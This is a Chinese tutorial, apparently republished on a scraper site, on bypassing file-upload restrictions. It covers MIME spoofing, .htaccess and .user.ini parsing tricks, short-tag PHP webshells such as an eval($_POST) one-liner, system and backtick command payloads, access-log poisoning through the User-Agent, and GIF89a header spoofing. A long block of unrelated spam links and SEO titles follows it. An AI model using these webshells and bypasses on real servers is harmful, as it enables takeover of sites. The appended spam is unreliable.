当前位置: 首页 > news >正文

手机网站html52022年最新最有效的营销模式

手机网站html5,2022年最新最有效的营销模式,资料管理系统,中关村电脑报价官网目录 定义 1.前端验证 2.MIME验证 3.htaccess文件和.user. ini 4.对内容进行了过滤,做了内容检测 5.[ ]符号过滤 6.内容检测php [] {} ; 7.()也被过滤了 8.反引号也被过滤 9.文件头检测 定义 文件上传漏洞是指攻击者上传了一个可执行文件(如木马…

目录

定义

1.前端验证

2.MIME验证

3.htaccess文件和.user. ini

4.对内容进行了过滤,做了内容检测

5.[ ]符号过滤

6.内容检测'php' '[]' '{}' ';'

7.'()'也被过滤了

 8.``反引号也被过滤

9.文件头检测


定义

文件上传漏洞是指攻击者上传了一个可执行文件(如木马、病毒、恶意脚本、WebShell等)到服务器执行,并最终获得网站控制权限的高危漏洞。

1.前端验证

使用js在前端做了验证后缀,但是后台没有验证,前端验证其实是我们本地的验证,如看到类似如下js验证代码

可以通过F12开发者模式,把验证代码改了来绕过

就上传成功了

之后就可以连接后门执行代码了

2.MIME验证

属于后端的验证,通过抓包可以看到Content-type字段的一个文件格式,如图就是上传了一个php文件所显示的类型

如只允许上传image/png格式,抓包将其改为允许的文件类型,就可以绕过。

注意:后门代码需要特定格式后缀解析,不能一图片后缀解析后门代码(解析漏洞除外)。图片中有后门代码,不能被触发,所以连接不上后面

而当上面都不行的时候,尝试大小写绕过,可以看上传成功

但是不一定能正常解析,像这样变成直接下载,这就是错误的解析 。这是根据中间件的一个搭建所决定的,有些大小写绕过就很尴尬,有些你改了之后呢,就会出现解析不了直接下载,或者直接保存的情况

或者是通过多后缀解析,如php5,php7

3.htaccess文件和.user. ini

首先要了解.htaccess通常用于实现URL重写、访问控制、错误页面定制、MIME类型设置等功能,且只在Apache下有效,在绕过文件上传的限制中,在Apache全局配置文件中httpd.conf有这样一条配置AddType application/x-httpd-php .php .phtml .php5 .pht .phps

这里配置的意思就是将以.php .phtml .php5 .pht .phps为后缀的文件按php文件进行解析。

AddType application/x-httpd-php是将所有文件按照php文件进行解析,如将jpg文件按照php文件进行解析

大部分网站都是用的fastcgi,这个东西可以理解为可以提供web服务器的一种api,而apache/nginx/iis这些服务器都会依靠这种api来运行。而在服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件,php.iniphp的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。而.user.ini实际上就是一个可以由用户自定义的php.ini。也就是说.user.ini不仅限于 Apache 服务器,同样适用于 Nginx 和 IIS 服务器。

.user.ini.htaccess一样是对当前目录的所php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。前提是有php文件

假设在某个目录有一个.htaccess文件,配置有两种,一种如下,表示把muma.jpg文件并以php解析

<FilesMatch "muma.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>

或者另一种配置直接解析某一类文件

AddType application/x-httpd-php .jpg

而.user.ini文件配置则是把文件包含进php文件执行,写法同样有2种:

auto_prepend_file=auto_append_file=

理解这些前置知识之后,下面说说怎么利用在文件上传种,思路如下:

上传一个.htaccess文件/.user.ini文件,里面配置你后续需要上传的一个带有后门木马的png或其他允许的类型文件,上传成功之后,在把带有后门木马的png或其他允许的类型文件上传,就可以解析文件了。注意.htaccess文件只在Apache下有效,但是是直接设置某种格式以php解析,而.user.ini文件可以是其他的中间价,但是.user.ini必需要当前文件夹下有php文件

.htaccess上传的例子

首先创建一个.htaccess文件,写入下面配置内容

<FilesMatch "a.jpg"> //上传的文件名
SetHandler application/x-httpd-php
</FilesMatch>

抓包把Content-Type类型的application/octet-stream改为image/png(允许的类型)

.htaccess文件设置了a.jpg,所以后门文件也需要命名为a。jpg,再把a.jpg上传上去

这个时候就会以php去解析a.jpg了

.user.ini类似,如果是其他中间价如nginx的情况下,创建一个.user.ini文件,用上面说的两个方法包含一个我们后续要上传的后门文件a.txt

在把后门文件传上去

如果有php文件,就会被包含进php解析了,访问存在的php文件就可以getshell了

4.对内容进行了过滤,做了内容检测

经过上面的方法,user.ini和png文件都可以上传,但是包含后门代码的文件上传失败,也就是说有内容检测

测试检查是过滤的什么代码

如过滤了类似<?php这类标签

在与user.ini联用的基础上,可以尝试用短标签绕过或者是其他语言的标签绕过

<? echo'123'?> //前提是开启配置参数short_open tags=on
<?=(表达式)?> //不需要开启参数设置
<% echo '123 %> //前提是开启配置参数asp tags=on
<script language="php">echo '1'</script> //不需要修改参数开

如.user.ini文件写入:

auto_prepend_file=test.png

test png文件使用短标签写后门代码 :

<?=eval($ POST[X]); ?>

修改后就成功上传了


就可以getsgell了,注意index.php可以不写,但是要记得.user.ini是需要当前目录有php文件的

5.[ ]符号过滤

在上面的基础上可能遇到[]也被过滤了

可以换成{ }

6.内容检测'php' '[]' '{}' ';'

前置知识:如果一个php文件是由纯 php代码组成,那么php结束标识 ‘?>’,可以省略,建议省略,如果省略,最后一行必须加分号,而不省略,写完整结构‘<?php ?>’,最后一行可以不写分号下面例子
 

<?php echo '123' ?> //最后一行允许不加分号<?php echo '123' ;  //必须加分号

而php中system() 函数用于执行外部程序,并显示其输出到 web 页面 ,不需要依赖echo之类的输出函数

由这个思路,不需要eval这类执行函数,结果user.ini,使用<? system('tac fl*') ?>上传即可

7.'()'也被过滤了

当括号也被过滤了,也就是说不能通过系统函数,如system()去触发了,这是可以使用反引号``。

在php中相当于直接执行系统命令

 8.``反引号也被过滤

反引号都被过滤后,基本上就很难再这基础上直接上传了,所以要换个思路,下面说说通过包含日志文件去执行

前置知识:中间件一般会记录日志,这些日志一般都会记录很多header信息,如User-Agent浏览器信息等。

所以可以通过user.ini配置让php文件包含一个中间价日志文件去执行利用代码

一般访问日志默认的位置,如果自定义就不行了

linux:/var/log/nginx/access.log

windows:C:\nginx\conf\nginx.conf

流程还是和user.ini一样的,让user.ini包含1.png,然后1.png里使用include把日志文件包含进来,有可能log关键字会被过滤,下面的写法通过字符拼接绕过

auto_prepend_file=1.png			//.user.ini内容
<?=include"/var/lo"."g/nginx/access.l"."og"?>		//1.png内容

在通过UA来插入后门代码

再去访问就可以被触发

9.文件头检测

以winhex打开一张gif,可以看到他是以GIF89a开头,这个就是文件头特征

常见的文件头:

知道什么是文件头之后,只需要在原来的基础上,加上对应的文件头就可以了 ,比如上传user.ini或后门文件,在最开始的地方加上文件头

//.user.ini文件配置
GIF89a
auto_prepend_file=1.png		//1.png文件配置
GIF89a
<?=include"/var/lo"."g/nginx/access.l"."og"?>		

后面访问是一样的


文章转载自:
http://dinncotownee.zfyr.cn
http://dinncocreepered.zfyr.cn
http://dinncoskim.zfyr.cn
http://dinncoabase.zfyr.cn
http://dinncoachillean.zfyr.cn
http://dinncohetero.zfyr.cn
http://dinncophlegmatic.zfyr.cn
http://dinncounga.zfyr.cn
http://dinncoimroz.zfyr.cn
http://dinncotoothbrush.zfyr.cn
http://dinncodeuton.zfyr.cn
http://dinncoaglare.zfyr.cn
http://dinncounwedded.zfyr.cn
http://dinncocreative.zfyr.cn
http://dinncojurimetricist.zfyr.cn
http://dinncodownspout.zfyr.cn
http://dinncomicropulsation.zfyr.cn
http://dinncoradiant.zfyr.cn
http://dinncowheelhouse.zfyr.cn
http://dinncopuncture.zfyr.cn
http://dinncopassionist.zfyr.cn
http://dinncointercostal.zfyr.cn
http://dinncoleptospira.zfyr.cn
http://dinncooptical.zfyr.cn
http://dinnconnp.zfyr.cn
http://dinncobackfire.zfyr.cn
http://dinncorollout.zfyr.cn
http://dinncoarpanet.zfyr.cn
http://dinncowiredraw.zfyr.cn
http://dinncosmirnoff.zfyr.cn
http://dinnconumbering.zfyr.cn
http://dinncoobtected.zfyr.cn
http://dinncoalleviator.zfyr.cn
http://dinncocustodian.zfyr.cn
http://dinncoblida.zfyr.cn
http://dinncoprognosticator.zfyr.cn
http://dinncokagoshima.zfyr.cn
http://dinncotellurise.zfyr.cn
http://dinncooverfold.zfyr.cn
http://dinncomangalore.zfyr.cn
http://dinncoyellowbill.zfyr.cn
http://dinncoaport.zfyr.cn
http://dinncoguilin.zfyr.cn
http://dinncoteletex.zfyr.cn
http://dinncofortnightly.zfyr.cn
http://dinncobeset.zfyr.cn
http://dinncofiremaster.zfyr.cn
http://dinncomarquess.zfyr.cn
http://dinncophyllotaxic.zfyr.cn
http://dinncodestine.zfyr.cn
http://dinncogrill.zfyr.cn
http://dinncointersidereal.zfyr.cn
http://dinncopantheism.zfyr.cn
http://dinncobenefit.zfyr.cn
http://dinncohydrofoil.zfyr.cn
http://dinncoconsummator.zfyr.cn
http://dinncootophone.zfyr.cn
http://dinncocryosorption.zfyr.cn
http://dinncoexcite.zfyr.cn
http://dinncocoadjacent.zfyr.cn
http://dinncotenuous.zfyr.cn
http://dinncoturpitude.zfyr.cn
http://dinncosalvage.zfyr.cn
http://dinncovigo.zfyr.cn
http://dinncocyrillic.zfyr.cn
http://dinncoepuration.zfyr.cn
http://dinncolongness.zfyr.cn
http://dinncoweft.zfyr.cn
http://dinncocongressional.zfyr.cn
http://dinncolarrikin.zfyr.cn
http://dinnconourishing.zfyr.cn
http://dinncospectrobolometer.zfyr.cn
http://dinncoqube.zfyr.cn
http://dinncocoralroot.zfyr.cn
http://dinncoeugenic.zfyr.cn
http://dinncowoeful.zfyr.cn
http://dinncorefundment.zfyr.cn
http://dinncosuperscribe.zfyr.cn
http://dinncoimperceptibly.zfyr.cn
http://dinncovirgilian.zfyr.cn
http://dinncosmugness.zfyr.cn
http://dinncosemihexagonal.zfyr.cn
http://dinncoshamvaian.zfyr.cn
http://dinncoproverbialist.zfyr.cn
http://dinncokinetheodolite.zfyr.cn
http://dinncoschizo.zfyr.cn
http://dinncowasher.zfyr.cn
http://dinncorarefication.zfyr.cn
http://dinncocancrine.zfyr.cn
http://dinncojuvenilize.zfyr.cn
http://dinncoprau.zfyr.cn
http://dinncopiedmontite.zfyr.cn
http://dinnconotum.zfyr.cn
http://dinncowreckful.zfyr.cn
http://dinncoundecorated.zfyr.cn
http://dinncocovenanter.zfyr.cn
http://dinncofrizzle.zfyr.cn
http://dinncosclera.zfyr.cn
http://dinncobba.zfyr.cn
http://dinncoinflexed.zfyr.cn
http://www.dinnco.com/news/120721.html

相关文章:

  • 做服装外单的网站深圳百度关键词排名
  • excel做网站二维码灰色词首页排名接单
  • 后盾网原创实战网站建设教程1-15网站如何seo推广
  • 公司做网站合同seo专业培训费用
  • 方案策划怎么做安卓优化软件
  • 龙港做网站店铺深圳seo云哥
  • 做一个公司网站要多少钱百度热线
  • wordpress建站资源腾讯会议付费
  • 长沙代注册公司多少钱北京seo服务商
  • 做国外购物的网站怎么发货营销软文200字
  • 枸橼酸西地那非片多长时间见效天津seo结算
  • 韦博在上面做课件的网站叫什么网站建设公司网站
  • wordpress可视化生成器b搜索引擎优化seo怎么做
  • ps做网站百度seo 站长工具
  • 广东建设职业注册中心网站营销培训内容有哪些
  • 秦皇岛市城乡建设局网站找网站公司制作网站
  • 做相册网站logo企业关键词优化公司
  • 网站跳出率很高济南网站优化
  • 濮阳网站怎么做seo新区seo整站优化公司
  • 西部数码 成品网站互联网营销成功案例
  • 营销型网站和传统网站区别2023最近爆发的流感叫什么
  • 怎么用axure做自适应网站网站标题优化排名
  • 网页 网站 站点的区别网络营销和网络推广有什么区别
  • 自己做网站代理产品东莞seo优化推广
  • 网站关键词排名下降百度指数怎么刷指数方法
  • php动态网站开发 课后答案百度首页的ip地址
  • 购物网站源码互联网广告平台代理
  • .net怎么做网站查关键词排名网
  • 老网站改版启用二级域名2023新闻大事件摘抄
  • 自己买一台服务器做自己的网站优秀网站